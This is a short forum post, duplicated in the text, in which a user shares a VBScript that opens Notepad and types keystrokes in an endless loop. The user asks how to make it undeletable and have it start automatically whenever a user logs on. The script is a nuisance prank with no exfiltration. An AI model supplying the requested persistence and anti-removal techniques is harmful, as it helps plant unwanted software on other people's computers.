DamaGe2100
01-05-2009, 04:55 PM
I have a script which looks like this:
On Error Resume Next
Set WSHShell = WScript.CreateObject("WScript.Shell")
WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad", 1
WshShell.AppActivate "ÞÐÀÀÀÀÀÀÀÀÀÀÀ ÀÕÀÕÀÕÀÕÀÕÀÕÀÕ "
dim ms(25)
ms(0) = "1"
ms(1) = "2"
ms(2) = "3"
ms(3) = " "
ms(4) = "4"
ms(5) = " "
ms(6) = "5"
ms(7) = "6"
ms(8) = "7"
ms(9) = "8"
ms(10) = "9"
ms(11) = " "
ms(12) = "10"
ms(13) = "11"
ms(14) = "12"
ms(15) = "13"
ms(16) = "14"
ms(17) = "15"
ms(18) = Chr(13)
ms(19) = "~"
WScript.Sleep 1000
dy=0
do while(1)
dy=dy+1
For Each Item in ms
WScript.Sleep 25
WshShell.SendKeys Item
next
loop
It's a simple .exe file, but what should I do to make it undeleateable and to make it start every time a user log on to his computer???
On Error Resume Next
Set WSHShell = WScript.CreateObject("WScript.Shell")
WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad", 1
WshShell.AppActivate "ÞÐÀÀÀÀÀÀÀÀÀÀÀ ÀÕÀÕÀÕÀÕÀÕÀÕÀÕ "
dim ms(25)
ms(0) = "1"
ms(1) = "2"
ms(2) = "3"
ms(3) = " "
ms(4) = "4"
ms(5) = " "
ms(6) = "5"
ms(7) = "6"
ms(8) = "7"
ms(9) = "8"
ms(10) = "9"
ms(11) = " "
ms(12) = "10"
ms(13) = "11"
ms(14) = "12"
ms(15) = "13"
ms(16) = "14"
ms(17) = "15"
ms(18) = Chr(13)
ms(19) = "~"
WScript.Sleep 1000
dy=0
do while(1)
dy=dy+1
For Each Item in ms
WScript.Sleep 25
WshShell.SendKeys Item
next
loop
It's a simple .exe file, but what should I do to make it undeleateable and to make it start every time a user log on to his computer???